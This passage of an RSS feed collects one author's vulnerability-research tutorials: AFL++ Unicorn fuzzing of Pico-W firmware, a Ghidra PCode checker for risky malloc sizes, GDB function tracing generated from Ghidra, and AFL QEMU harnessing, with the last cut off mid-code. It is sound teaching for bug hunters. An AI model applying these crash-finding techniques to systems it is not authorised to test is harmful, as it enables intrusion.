breakpoint to generate a core dump. The resulting dump can be used similarly to the firmware ELF to establish an emulated CPU for fuzzing. Ghidra can also give clues in it’s memory map to help you figure out how to arrange content in memory for a fuzz.</p><p>The logic for mapping memory regions and copying in content is contained in <em>load_elf_segments</em>. This function iterates over the ELF segments mapping each with the permissions expressed in the header by calling <em>mem_map</em> on the unicorn object. The most important thing to remember at this stage is to keep the memory mappings aligned to page boundaries. This is done by zeroing out the lower bits of an address to land on a block boundary at <em>aligned_vaddr.</em> Next the required mapping size is computed by filling out the rest of the block and then using integer division to count how many pages are needed. We also must map some additional ranges for a program stack as well as for storing the input testcases.</p><pre>    load_elf_segments(uc, BINARY_PATH)<br>    uc.mem_map(STACK_ADDR, STACK_SIZE, UC_PROT_READ | UC_PROT_WRITE)<br>    uc.mem_map(INPUT_ADDR, INPUT_SIZE, UC_PROT_READ | UC_PROT_WRITE)</pre><h3>Placing Fuzzed Inputs</h3><p>Now that the firmware has been loaded into memory with roughly the correct mappings, the next thing we need to do is create a function that will load some test input into memory and set the CPU registers accordingly to execute the fuzz target. At this point, it is important to consider the calling convention of the targeted function. In the case of Pico-W, this is an ARM Cortex-9 and so <em>process_payload </em>will receive parameters via registers <strong>R0</strong> and <strong>R1</strong> as shown when exploring the firmware in Ghidra:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*yoFW6K6KFJXBValE9G-uQQ.png" /><figcaption>Ghidra Listing for <em>process_payload</em></figcaption></figure><p>ARM is also interesting because the LSB of <strong>PC</strong> indicates whether the CPU will expect ARM vs Thumb instructions. For this Pico-W example, we will set the LSB and thus configure Thumb mode which is typical for Cortex-M and is indicated in the Ghidra listing above as <em>TMode</em>.</p><p>In summary, <em>place_input </em>will write testcase data into the previously mapped memory using <em>mem_write</em>.<em> </em>The address with the input data is written into register <strong>R0 </strong>and the input length is written into <strong>R1 </strong>using <em>reg_write</em>. <strong>SP </strong>is set to an appropriate address at the top of the stack. (The stack will grow downward and requires a 16-byte alignment.) <strong>PC </strong>is set based on the symbol we located earlier keeping in mind to set the LSB for Thumb mode (e.g. <em>addr | 1</em>).</p><pre>def place_input(uc, input_data, _index, _data):<br>    debug(&quot;Injecting input (%d bytes)&quot;, len(input_data))<br>    uc.mem_write(INPUT_ADDR, input_data)<br>    uc.reg_write(UC_ARM_REG_R0, INPUT_ADDR)<br>    uc.reg_write(UC_ARM_REG_R1, len(input_data))<br>    uc.reg_write(UC_ARM_REG_SP, STACK_ADDR + STACK_SIZE - 0x10)<br>    uc.reg_write(UC_ARM_REG_PC, target_func_addr | 1)<br>    return True</pre><h3>Running the Fuzz</h3><p>The last piece we need in our script is to call <em>uc_afl_fuzz</em> with our initialized emulator, testcase filename, <em>place_inputs </em>for callback, and a list of addresses where the emulation should stop.</p><pre>    exits = [return_addr]<br><br>    logging.info(&quot;Starting AFL loop starting @ 0x%08x with exit @ 0x%08x&quot;, target_func_addr, return_addr)<br>    unicornafl.uc_afl_fuzz(<br>        uc,<br>        afl_input,<br>        place_input,<br>        exits<br>    )</pre><p>With that in place, we can start the AFL++ fuzzing campaign using something like:</p><pre>afl-fuzz -U -i in -o out -G 4096-- python3 pico_w_fuzz_example.py @@</pre><p>I seeded my fuzz with a single byte testcase (e.g. <em>echo -ne A &gt; in/1</em>)<em> </em>and AFL++ Unicorn mode went to work discovering paths. Note that I’ve included ‘-G 4096’ as an AFL parameter. This sets a maximum size on the testcases AFL will test and corresponds to how much memory we mapped in the emulator. Experimenting with smaller sizes may improve performance of the fuzz. This specific example is a simple set of <em>if </em>statements which perform single byte checks on the input. If the input matches a secret key it will cause a null pointer dereference. Each time AFL++ adds an input to the corpus, it means that it has identified another byte from the secret input. On my not-so-fancy laptop, it took about 5 minutes to recover the secret passphrase which causes this firmware to crash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*UytKwqHn-Fany5yNAywxZw.png" /><figcaption>AFL++ Unicorn Mode Status Monitor</figcaption></figure><p>You can run the supplied firmware on a Pico W to see this in action. After loading the ELF onto a device, it will wait for a USB serial connection (115200 baud) before starting FreeRTOS and connecting to a wifi network with SSID ‘DemoNet’ and PSK ‘Password123!’. The IP address will be printed on the serial console if the connection succeeds. You can then send testcases to the target function using curl (substituting your IP and the secret value found by fuzzing):</p><pre>curl -v http://ip/fuzzy.cgi?data=$(echo -ne secret | base64 -w0)</pre><h3>Further Work</h3><p>As the title implies, this post is only a starting point for fuzzing embedded systems with AFL++ Unicorn mode. This example was carefully crafted to provide the most direct path to fuzzing possible. This does work for real-world targets but in my experience, interesting targets are often not so clean like this one and the basic framework will miss some interesting bugs as well. Often times interesting functionality will have more detailed requirements or depend on hardware behavior that is not easily emulated in Unicorn. For example, functions dealing with more complicated input data structures or those which make use of RTOS APIs require a little more consideration. This is common with something like a logging function which wants to output to a UART or certain OS or hardware calls. There are a few tricks for doing this. My preferred techniques are two either patch in return instructions (e.g. <strong>bx lr</strong>) for known bad functions when loading the firmware or to create a list of hook addresses to skip while fuzzing. For some things it will be necessary to simulate behavior with Python code. Addresses to skip can be processed in the hook currently used to make a debug execution trace.</p><p>Another issue is crash detection. This toy example makes a blatant null pointer dereference but from a security perspective these are not always the most impactful or interesting bugs. On other platforms we can turn to something like QASAN, <em>libdislocate.so, </em>or <em>valgrind </em>to shake out more bugs but I’m not aware of anything like that which can be applied to an embedded firmware in this scenario. Fortunately it isn’t terribly difficult to implement a quick and dirty checked heap. This is achieved by hooking memory allocators like <em>malloc</em> and tracking memory allocations in Python lists. Memory access hooks are then used to detect out-of-bounds memory access and trigger crashes for AFL++ to collect.</p><h3>Upcoming Class</h3><p>This blog post gives an introduction to using AFL++ Unicorn mode. For a deep dive into this and a handful of other bug hunting techniques, please consider joining me at Black Hat USA 2025 for <a href="https://www.blackhat.com/us-25/training/schedule/#a-bug-hunters-guide-to-binaries-and-firmware-444411736890494"><em>A Bug Hunters Guide to Binaries and Firmware</em></a>. In class students will get experience implementing the techniques described in the <em>Further Work</em> section. In general, this class equips students for bug hunting using freely available tools. On the first day, we will author a few Ghidra scripts [<a href="https://medium.com/@cy1337/vulnerability-analysis-with-ghidra-scripting-ccf416cfa56d">example 1</a>, <a href="https://medium.com/@cy1337/tracing-data-flow-with-pcode-f879278d9fc1">example 2</a>] for directly finding vulnerabilities as well as a few scripts which leverage our reversing efforts by automating integration with external tools like <a href="https://frida.re/">Frida</a> or GDB [<a href="https://medium.com/@cy1337/a-basic-guide-to-discovering-attack-surface-with-ghidra-and-gdb-370e2c08e4c1">example</a>]. Similar to last year, on the second day we will focus on AFL++ fuzzing of compiled Linux programs [<a href="https://medium.com/@cy1337/a-basic-guide-to-afl-qemu-495df504b5fb">example</a>] as well as embedded systems. This class leverages my years of experience teaching students at Black Hat and other events on how to get the most out of Ghidra as well as my years of experience finding and reporting vulnerabilities (resulting in around 200 CVE assignments [<a href="https://secur3.us/index.php/vulnerabilities/">partial list</a>] and a <a href="https://www.gentoo.org/news/2018/08/12/pwnie-for-hanno.html">Pwnie award</a>).</p><p>If you or your team would like to get the most out of your time at Black Hat USA, please consider signing up for <a href="https://www.blackhat.com/us-25/training/schedule/#a-bug-hunters-guide-to-binaries-and-firmware-444411736890494"><em>A Bug Hunters Guide to Binaries and Firmware</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0619ce0bff4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tracing malloc calls in PCode]]></title>
            <link>https://medium.com/@cy1337/tracing-data-flow-with-pcode-f879278d9fc1?source=rss-58f190e710ff------2</link>
            <guid isPermaLink="false">https://medium.com/p/f879278d9fc1</guid>
            <category><![CDATA[integer-overflow]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ghidra]]></category>
            <dc:creator><![CDATA[Craig Young]]></dc:creator>
            <pubDate>Sun, 13 Apr 2025 14:37:14 GMT</pubDate>
            <atom:updated>2025-04-21T10:00:43.420Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tracing malloc calls with PCode</h3><p>It’s that time of the year again, Black Hat USA is just a few months away and I’m honored to be back again for another year teaching about bug hunting! Similar to other years, I will be publishing some snippets and related examples in the lead up to the event. This first post focuses on interacting with PCode from a Ghidra script. In this example, I will explain how to implement a script for flagging suspicious <em>malloc</em> calls based on the use of arithmetic to calculate an allocation size. This coding pattern can commonly lead to a heap buffer overflow when a program receives an unexpectedly small allocation due to the wrapping error. An initial version of this script is on <a href="https://github.com/cy1337/MallocOvfChecker/blob/main/MallocOvfChecker.py">GitHub</a> for anyone who wants to use or modify it.</p><p>The script will identify each <em>malloc</em> call in a program and inspect how the <em>size</em> parameter was calculated. For the purpose of this basic script, we will flag any <em>size</em> argument that was calculated through addition or multiplication with a variable.</p><p>Ghidra’s PCode intermediate language lends itself to this task through it’s use of single assignment variable nodes or <em>varnodes.</em> This allows us to get a clear picture of where values come from and what operations or instructions influence the value.</p><h3>Implementation</h3><p>The script enumerates and then decompiles each function that calls <em>malloc</em>. The PCode is accessed by calling <em>getHighFunction()</em> on the decompiled function:</p><pre>high_func = decompiled.getHighFunction()</pre><p>The PCode is then searched for calls to <em>malloc</em> similar to:</p><pre>for op in high_func.getPcodeOps():<br>    if op.getOpcode() == PcodeOp.CALL:<br>        if op.getInput(0).getAddress() == malloc_addr:<br>            # op is a call to malloc<br>            # op.getInput(0) is the address being called (malloc)<br>            # op.getInput(1) is the varnode for size parameter</pre><p>The script then builds a list of definition dependencies for each varnode corresponding to a <em>malloc</em> size argument. The result is a list of the pcode ops which influence the size parameter. This is achieved using recursion similar to the following:</p><pre>def backward_slice(varnode, visited=None, collected=None):<br>    if visited is None:<br>        visited = set()<br>    if collected is None:<br>        collected = set()<br>    if varnode is None or varnode in visited:<br>        return collected<br>    visited.add(varnode)<br>    def_op = varnode.getDef()<br>    if def_op:<br>        collected.add(def_op)<br>        for i in range(def_op.getNumInputs()):<br>            backward_slice(def_op.getInput(i), visited, collected)<br>    return collected</pre><p>Finally, the script has to search through the constructed lists to see if any of the operations involved addition or multiplication with a variable. This is done by iterating over the list, checking if any op is an <em>INT_ADD</em> or <em>INT_MULT</em>, and then further checking that there is a non-constant input:</p><pre>def has_variable_add_or_mult(influencing_ops):<br>    for op in influencing_ops:<br>        if op.getOpcode() in (PcodeOp.INT_ADD, PcodeOp.INT_MULT):<br>            for i in range(op.getNumInputs()):<br>                input_var = op.getInput(i)<br>                if input_var is not None and not input_var.isConstant():<br>                    return True<br>    return False</pre><h3>Example Usage</h3><p>A completed version of the script is on <a href="https://github.com/cy1337/MallocOvfChecker/blob/main/MallocOvfChecker.py">GitHub</a>. When run, this version of the script will create a table with the address of each flagged <em>malloc</em> along with console output containing more details about why each call was flagged. Below you can see a screenshot from using this tool to analyze a <a href="https://secur3.us/samples/CommandServerFull">sample from a previous training</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*AY0LDnnxuOfXV8EgeM9VRg.png" /></figure><h3>Diving Deeper</h3><p>Please comment on this post or ping me on social media if you have any questions or topic requests. You can also sign-up for one of my 2-day Black Hat training sessions which equip students with hands-on experience developing and using custom vulnerability research tools. A description of the 2025 course is available on the <a href="https://www.blackhat.com/us-25/training/schedule/#a-bug-hunters-guide-to-binaries-and-firmware-444411736890494">Black Hat schedule page</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f879278d9fc1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Basic Guide to Discovering Attack Surface with Ghidra and GDB]]></title>
            <link>https://medium.com/@cy1337/a-basic-guide-to-discovering-attack-surface-with-ghidra-and-gdb-370e2c08e4c1?source=rss-58f190e710ff------2</link>
            <guid isPermaLink="false">https://medium.com/p/370e2c08e4c1</guid>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ghidra]]></category>
            <dc:creator><![CDATA[Craig Young]]></dc:creator>
            <pubDate>Sat, 18 May 2024 14:14:09 GMT</pubDate>
            <atom:updated>2024-05-18T19:46:43.738Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article I will introduce, and provide an example of, another technique from my upcoming training, <a href="https://www.blackhat.com/us-24/training/schedule/index.html#a-basic-guide-to-bug-hunting-with-ghidra-365621705679780"><em>A Basic Guide to Bug Hunting with Ghidra</em></a>. The topic this time is on attack surface enumeration and specifically how to use Ghidra to produce a secondary script for tracing targeted function calls in GDB. For convenience, I’ve also shared a PDF of the original article format. You can <a href="https://github.com/cy1337/ghidra_gdb_tracer/blob/main/writeup.pdf">access the PDF on GitHub.</a></p><p>The content associated with this post is available on GitHub and has been tested with Ghidra 11.0.3: <a href="https://github.com/cy1337/ghidra_gdb_tracer">https://github.com/cy1337/ghidra_gdb_tracer</a></p><p>· <strong>GenPyGDB.py </strong>: Ghidra Python script which generates a GDB Python script</p><p>· <strong>CommandServer</strong> : An example program to analyze</p><p>·<strong> CommandClient.py</strong> : A client for interacting with <em>CommandServer</em></p><p>· <strong>Dockerfile</strong> : Source for the <a href="https://hub.docker.com/repository/docker/cy1337demos/ghidra_gdb_tracer">DockerHub image</a></p><p>· <strong>gdb_script.py</strong> : Example output generated by running <em>GenPyGDB.py</em> on CommandServer</p><p>The container suitable for running the target program is available on DockerHub.<br> <br> You can test the example output script like so:</p><pre>docker run -it cy1337demos/ghidra_gdb_tracer gdb -x gdb_script.py CommandServer</pre><p>And then from a separate terminal you can interact with the command server:</p><pre>docker exec -it \<br>$(docker ps --filter ancestor=ghidra_gdb --format &quot;{{.Names}}&quot;) \<br>./CommandClient.py 1 /etc/issue 127.0.0.1:8080</pre><p>The goal of this project is to have a flexible process for identifying which functions are called when processing a particular testcase. We will do this by adding logging breakpoints at the start of every function. This is an ideal way to identify targets for fuzzing without a substantial up front reversing effort. (More on this in <a href="https://medium.com/@cy1337/a-basic-guide-to-afl-qemu-495df504b5fb">my last post on using AFL QEMU</a>.)</p><p>GDB Commands</p><p>Let’s start by looking at how the debugger script will function and then circle back to discuss what will be needed in the Ghidra script.</p><p>The script will need to do a few things:</p><p>· Determine the base address of the debug target (e.g. because of ASLR)</p><p>· Add breakpoints at each function</p><p>· Log the function name on breakpoint trigger</p><p>· Optionally disable the triggered breakpoint</p><p>· Resume execution</p><p>Without getting into system specific modifications, the easiest way to overcome ASLR is to determine the base address of the process at runtime. One option for doing this is to get calculate an offset between the static symbol in Ghidra’s listing and the dynamic address at runtime.</p><p>For example, given the following THUNK FUNCTION for <em>read</em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*jdCFMuJPQ2UShFDUZAQU_Q.png" /></figure><p>We can use this address, <em>0x134610</em> to calculate the offset between the runtime address and the addresses in Ghidra:</p><pre>starti<br>set $base_offset = read - 0x134610</pre><p>Adding this $base_offset to an address in Ghidra will give the address in the target process where we want to set a breakpoint. For example, setting a breakpoint at <em>FUN_00134869</em> looks like:</p><pre>break *($base_offset + 0x134869)</pre><p>Next we can add a command to run at that breakpoint to print the function name and continue:</p><pre>command<br>  print &quot;FUN_00134869()&quot;<br>  continue<br>end</pre><p>GDB Python</p><p>We could use Ghidra scripting to produce a GDB command script like this but there are some more advanced situations where this becomes unfavorable. Using GDB’s Python API can leave us in a better position for later adding more advanced logic to analyze data structures at runtime. Using GDB’s Python API, the logic can be summarized with:</p><pre>import gdb<br><br>class FunctionBreakpoint(gdb.Breakpoint):<br>    def __init__(self, location, func_name):<br>        location += base_addr<br>        bp_loc = &#39;*{}&#39;.format(hex(location))<br>        super(FunctionBreakpoint, self).__init__(bp_loc, gdb.BP_BREAKPOINT, internal=False)<br>        self.func_name = func_name<br><br>    def stop(self):<br>        gdb.write(&#39;Function: {}\n&#39;.format(self.func_name))<br>        return False<br><br>def set_base_address():<br>    gdb.execute(&#39;starti&#39;)<br>    gdb.execute(&#39;set $base_addr = read - 0x134610&#39;)<br>    base_addr = int(gdb.parse_and_eval(&#39;$base_addr&#39;))<br>    gdb.write(&#39;Base address set to: {:#x}\n&#39;.format(base_addr))<br>    return base_addr<br><br>base_addr = set_base_address()<br><br>FunctionBreakpoint(0x134869, &#39;FUN_00134869&#39;)</pre><p>Ghidra Python</p><p>Now that we have a skeleton for the target script, it’s time to start authoring a Ghidra script to generate it. The Ghidra script will need to write out this template while filling in the address for <em>read</em> and then writing a <em>FunctionBreakpoint</em> call for each function.</p><p>The address of <em>read</em> can be obtained by walking the symbol tree:</p><pre>sym_table = currentProgram.getSymbolTable()<br>for symbol in sym_table.getPrimarySymbolIterator(True):<br>    if symbol.getName() == &quot;read&quot;:<br>        read_addr = symbol.getAddress()<br>        break</pre><p>Function addresses can then be listed through the function manager:</p><pre>fm = currentProgram.getFunctionManager()<br>functions = fm.getFunctions(True)<br>for func in functions:<br>    func_name = func.getName()<br>    func_entry = func.getEntryPoint().getOffset()</pre><p>Artificial Blocks</p><p>The above code snippet will iterate over all function symbols Ghidra is aware of. Unfortunately this includes some sections which are artificially created by Ghidra to support relocation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*2pEBtghGCFSVBWIc1jOftQ.png" /></figure><p>And so to avoid adding breakpoints within these artificial blocks, we need to walk the memory to identify these blocks so we can avoid adding breakpoints.</p><pre>memory = currentProgram.getMemory()<br>blocks = memory.getBlocks()<br>artificial_blocks = []<br><br>for block in blocks:<br>    # Check if the block has a specific name or comment<br>    if block.getComment() and &quot;artificial&quot; in block.getComment().lower():<br>        artificial_blocks.append(block)<br>    elif block.getName() and &quot;artificial&quot; in block.getName().lower():<br>        artificial_blocks.append(block)</pre><p>Test Run</p><p>Putting all these pieces together produces the script you’ll find on GitHub. Now let’s take it for a test drive with the provided <em>CommandServer</em>. First load the program into Ghidra and, using Ghidra’s script manager, run the provided script from GitHub to produce a file, <em>gdb_script.py</em> or similar which can be run through <em>gdb </em>as follows:</p><pre>$ docker run -it cy1337demos/ghidra_gdb_tracer gdb -q -x gdb_script.py CommandServer<br>Reading symbols from CommandServer...<br>(No debugging symbols found in CommandServer)<br><br>Program stopped.<br>0x00007ffff7fd0100 in _start () from /lib64/ld-linux-x86-64.so.2<br>Base address set to: 0x555555454000<br>Breakpoint 1 at 0x555555588000<br>Breakpoint 2 at 0x555555588020<br>Breakpoint 3 at 0x5555555883d0<br>Breakpoint 4 at 0x5555555883e0<br>Breakpoint 5 at 0x5555555883f0<br>…<br>Breakpoint 90 at 0x55555558ad90<br>Breakpoint 91 at 0x55555558ad98<br>[Thread debugging using libthread_db enabled]<br>Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.<br>Function: entry<br>Function: FUN_00136d20<br>Function: _DT_INIT<br>Function: _INIT_0<br>Function: FUN_001347e0<br>Function: FUN_00136a55<br>Function: socket<br>Function: setsockopt<br>Function: htons<br>Function: bind<br>Function: listen<br>Function: printf<br>Server is listening on port 8080<br>Function: puts<br>Waiting for a new connection...<br>Function: accept</pre><p>You can now interact with <em>CommandServer</em> by sending data to it using <em>CommandClient.py</em> as follows:</p><pre>$ docker exec -it $(docker ps --filter ancestor=ghidra_gdb --format &quot;{{.Names}}&quot;) ./CommandClient.py 1 /etc/issue 127.0.0.1:8080<br>Received response: UBUNTU 20.04 LTS \N \L</pre><p>While handling this request, GDB is also logging what additional (new) functions have been called:</p><pre>Connection established with a client.<br>Function: FUN_001369c8<br>Read 0 bytes...<br>Function: read<br>Function: ntohs<br>Received header for 24 bytes<br>Function: malloc<br>Read 0 bytes...<br>read: 24<br>Processing command: 1<br>Function: FUN_00134869<br>Function: FUN_001349b0<br>Function: toupper<br>Function: send<br>Function: free<br>Processed opcode 1 and sending 24 bytesRead 0 bytes...<br>Failed to read complete header or client disconnected.<br>Function: shutdown<br>Function: close<br>Connection with client closed. Ready for a new connection.<br>Waiting for a new connection...</pre><p>Wrapping Up</p><p>That’s as far as I’ll be taking this post but I hope you’ve enjoyed reading and will find this helpful in your own projects. If you want to continue the learning, be sure to follow <a href="https://medium.com/@cy1337">cy1337 on Medium</a> and consider joining me at Black Hat USA for <em>A Basic Guide to Bug Hunting with Ghidra</em> where we will continue down this rabbit hole by looking at ways to drill-down into specific points of interest by further inspecting decompiled outputs and call stacks. This course will be offered <a href="https://www.blackhat.com/us-24/training/schedule/#a-basic-guide-to-bug-hunting-with-ghidra-36562">August 3–4 (Sat/Sun)</a> and again <a href="https://www.blackhat.com/us-24/training/schedule/index.html#a-basic-guide-to-bug-hunting-with-ghidra-365621705679780">August 5–6 (Mon/Tue)</a>. Hope to see you there!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=370e2c08e4c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Basic Guide to AFL QEMU]]></title>
            <link>https://medium.com/@cy1337/a-basic-guide-to-afl-qemu-495df504b5fb?source=rss-58f190e710ff------2</link>
            <guid isPermaLink="false">https://medium.com/p/495df504b5fb</guid>
            <category><![CDATA[fuzzing]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[ghidra]]></category>
            <dc:creator><![CDATA[Craig Young]]></dc:creator>
            <pubDate>Sun, 28 Apr 2024 19:39:18 GMT</pubDate>
            <atom:updated>2024-05-18T13:47:22.673Z</atom:updated>
            <content:encoded><![CDATA[<p>Over the years that I’ve been teaching Ghidra at Black Hat and other events, there is one question which inevitably comes up.</p><p><em>How do you find vulnerabilities in the programs you analyze with Ghidra?</em></p><p>That is why I am doing something a little different for 2024. Instead of focusing on the mechanics of using Ghidra, this year’s class will focus on finding vulnerabilities in the programs we analyze. This means both finding vulnerabilities directly within our Ghidra analysis as well as integrating other tools using data and insights gleaned from analysis. You can see more details on the Black Hat listing for <a href="https://www.blackhat.com/us-24/training/schedule/%23a-basic-guide-to-bug-hunting-with-ghidra-36562">A Basic Guide to Bug Hunting with Ghidra</a>.</p><h3>Fuzzing Compiled Code</h3><p>Today’s post takes a simplified example from the class and explains a process for fuzzing a parser function identified within a compiled program. For the sake of brevity, we’ll be jumping ahead to the point at which we’ve identified an interesting function and have inferred a function signature. For context, the program listens for an HTTP POST request on port 8080 and it passes the request body data to an internal parsing function. The data is parsed as a proprietary game save format. The HTTP response is a summary of what the parser decoded.</p><p>The example program, and a sample input are available for download through GitHub:</p><p>Files are available from: <a href="https://github.com/cy1337/afl_qemu_target">https://github.com/cy1337/afl_qemu_target</a><br>A build of the Dockerfile is also available at: <a href="https://hub.docker.com/r/cy1337demos/simple_target_server">https://hub.docker.com/r/cy1337demos/simple_target_server</a></p><blockquote>· <a href="https://github.com/cy1337/afl_qemu_target/raw/main/simple_target_server">simple_target_server</a><br>· <a href="https://github.com/cy1337/afl_qemu_target/raw/main/post_data.bin">post_data.bin</a><br>· <a href="https://raw.githubusercontent.com/cy1337/afl_qemu_target/main/Dockerfile?token=GHSAT0AAAAAACRTD5I7C3D35M7OZGDB75ASZROUBGQ">Dockerfile</a></blockquote><p>The <em>simple_target_server</em> was compiled on Ubuntu 20.04 but will likely run on a few other platforms as well. If you have problems, you can pull a pre-loaded image from Docker Hub:</p><pre>docker pull cy1337demos/simple_target_server</pre><p>You can then start the target server with:</p><pre>docker run -it cy1337demos/simple_target_server:latest bash<br>./simple_target_server</pre><h3>Demo Program</h3><p>With <em>simple_target_server</em> running, you can use a separate terminal session to test the send the <em>post_data.bin</em> payload using <em>curl</em> as follows:</p><pre>$ curl --data-binary @post_data.bin localhost:8080<br>Level: 5<br>Health: 300<br>Points: 1500<br>Item Count: 3<br>Items: 01 02 03</pre><p>As you may have guessed from the title, we are going to now use American Fuzzy Lop (AFL) to target the parsing logic for this custom save game format. I was introduced to AFL sometime around 2015 and it quickly became one of my favorite analysis tools due to its speed and effectiveness. The normal operation of AFL is to compile the program with instrumentation. The instrumentation logs the selection and order or basic blocks which execute as coverage feedback for the fuzzer. The fuzzer then iterates over a list of known inputs which make up the test corpus. During a fuzz, these input files are mutated and run through the code under test. Inputs which produce unique code coverage are added to the list of files for future mutation. In this way, AFL creates generations of test cases where each generation demonstrates an “interesting” modification compared to its parent.</p><p>Besides this traditional mode with source-instrumentation, AFL and the newer AFLplusplus fork can also integrate with various emulators to obtain coverage feedback. In this post, we will use AFL’s QEMU mode.</p><p>To begin, you will need to either load the linked container or install some dependencies:</p><ul><li><a href="https://github.com/AFLplusplus/AFLplusplus">https://github.com/AFLplusplus/AFLplusplus</a> (I’m using <a href="https://github.com/AFLplusplus/AFLplusplus/releases/tag/v4.20c">4.20c</a>)</li></ul><p>Be sure to run <a href="https://github.com/AFLplusplus/AFLplusplus/blob/stable/qemu_mode/build_qemu_support.sh">qemu_mode/build_qemu_support.sh</a> as shown in the Dockerfile.</p><p>Out of the box, AFL’s QEMU mode is setup to fuzz a program which receives data (either from a file or from stdin) and does some processing on that data. The <em>simple_target­_server</em> example cannot be directly fuzzed with AFL QEMU because the data is consumed from a network socket. While there are a variety of solutions to this problem, the approach I am taking in this post is to turn our PIE compiled executable into a shared library with an exported symbol for the function we want to fuzz and then building a wrapper to fuzz it.</p><p>The function of interest in<em> simple_target_server</em> is found in Ghidra as <em>FUN_001014d1</em> which, after analysis, was determined to have a function signature compatible with:</p><p>char * FUN_001014d1(char *param_1,size_t param_2)</p><p>From here, the high-level steps are as follows:</p><p>1. Export <em>FUN_001014d1</em> in <em>simple_target_server </em>as <em>fuzz_target </em>to make <em>libfuzz.so</em></p><p>2. Create and compile a harness in C to feed data from stdin to <em>fuzz_target</em></p><p>3. (If needed) patch ELF header to remove PIE flag on <em>libfuzz.so</em> and relink</p><p>4. Fuzz using afl-fuzz -Q with AFL_INST_LIBS=1 and LD_LIBRARY_PATH=$(pwd)</p><p>5. Test crashing payloads against original <em>simple_target_server</em></p><p>Steps #1–2 can be achieved using the <a href="https://lief.re/">Library to Instrument Executable Files</a> which offers a helpful Python interface. For more background on how this works, I recommend looking at the <a href="https://lief.re/doc/latest/tutorials/08_elf_bin2lib.html">Python LIEF module documentation</a>.</p><h3>Exporting the Symbol</h3><p>With the LIEF Python module installed, it is pretty easy to add an export symbol at an arbitrary address:</p><pre>&gt;&gt;&gt; import lief<br>&gt;&gt;&gt; x = lief.parse(&#39;simple_target_server&#39;)<br>&gt;&gt;&gt; x.add_exported_function(0x14d1, &quot;fuzz_target&quot;)<br>&lt;lief.ELF.Symbol object at 0x7f2a23049ef0&gt;<br>&gt;&gt;&gt; x.write(&#39;libfuzz.so&#39;)</pre><p>We want to export a symbol for Ghidra’s <em>FUN_</em>001014d1. Per the name, Ghidra places this at 0x1014d1 but since Ghidra starts numbering at 0x100000, the offset we want to export is actually <em>0x14d1</em>.</p><h3>Fuzz Harness</h3><p>The next thing we need is to construct our fuzz harness. A fuzz harness is the tool which sets up and executes our interesting function. For this function we can do (<a href="https://github.com/cy1337/afl_qemu_target/blob/main/harness.c">also on GitHub</a>):</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br><br>#define BUFFER_SIZE 1024<br>extern char * fuzz_target(char *param_1,size_t param_2);<br><br>int main() {<br>    char buffer[BUFFER_SIZE] = {0};<br><br>    // Read data from stdin<br>    size_t data_length = fread(buffer, 1, BUFFER_SIZE-1, stdin);<br>    char* output = fuzz_target(buffer, data_length);<br>    if (output) {<br>        printf(&quot;Processed output:\n%s\n&quot;, output);<br>        // The function allocated memory on the heap<br>        // Let&#39;s be polite and free it in case we do a persistent fuzz later<br>        free(output);<br>    } else {<br>        printf(&quot;Function returned NULL\n&quot;);<br>    }<br>    return EXIT_SUCCESS;<br>}</pre><p>This can be compiled as follows from within the same directory as libfuzz.so:</p><pre>gcc -o harness harness.c -L$(pwd) -lfuzz</pre><p>On some platforms this will give an immediate error similar to:</p><pre>/usr/bin/ld: cannot use executable file &#39;/usr/src/app/libfuzz.so&#39; as input to a link</pre><p>On other platforms it may compile and link but running the program is likely going to generate an error:</p><pre>$ LD_LIBRARY_PATH=$(pwd) ./harness<br>./harness: error while loading shared libraries: libfuzz.so: cannot dynamically load position-independent executable</pre><h3>Removing the PIE Flag</h3><p>This outcome is referenced in the LIEF documentation as a <a href="https://lief.re/doc/latest/tutorials/08_elf_bin2lib.html#glibc229">compatibility issue with newer glibc</a>. The steps listed for fixing this however don’t work for me on a current version of the Python module:</p><pre>&gt;&gt;&gt; import lief<br>&gt;&gt;&gt; bin_ = lief.parse(&#39;libfuzz.so&#39;)<br>&gt;&gt;&gt; bin_[lief.ELF.DynamicEntry.TAG.FLAGS_1].remove(lief.ELF.DynamicEntryFlags.FLAG.PIE)<br>Traceback (most recent call last):<br>File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;<br>AttributeError: type object &#39;lief.ELF.DynamicEntry&#39; has no attribute &#39;TAG&#39;</pre><p>Although this technique didn’t work, I was able to come up with another way. The following Python script shows how to remove the flag (<a href="https://github.com/cy1337/afl_qemu_target/blob/main/remove_pie.py">it’s also on GitHub</a>):</p><pre>#!/usr/bin/env python3<br><br>import sys<br>import lief<br>import argparse<br><br>def remove_pie_flag(filename, output_filename=None):<br>    # Load the ELF binary<br>    binary = lief.parse(filename)<br>    if not isinstance(binary, lief.ELF.Binary):<br>        print(&quot;The file is not an ELF executable.&quot;)<br>        return<br><br>    # Attempt to find the DT_FLAGS_1 entry<br>    flags_1_entry = 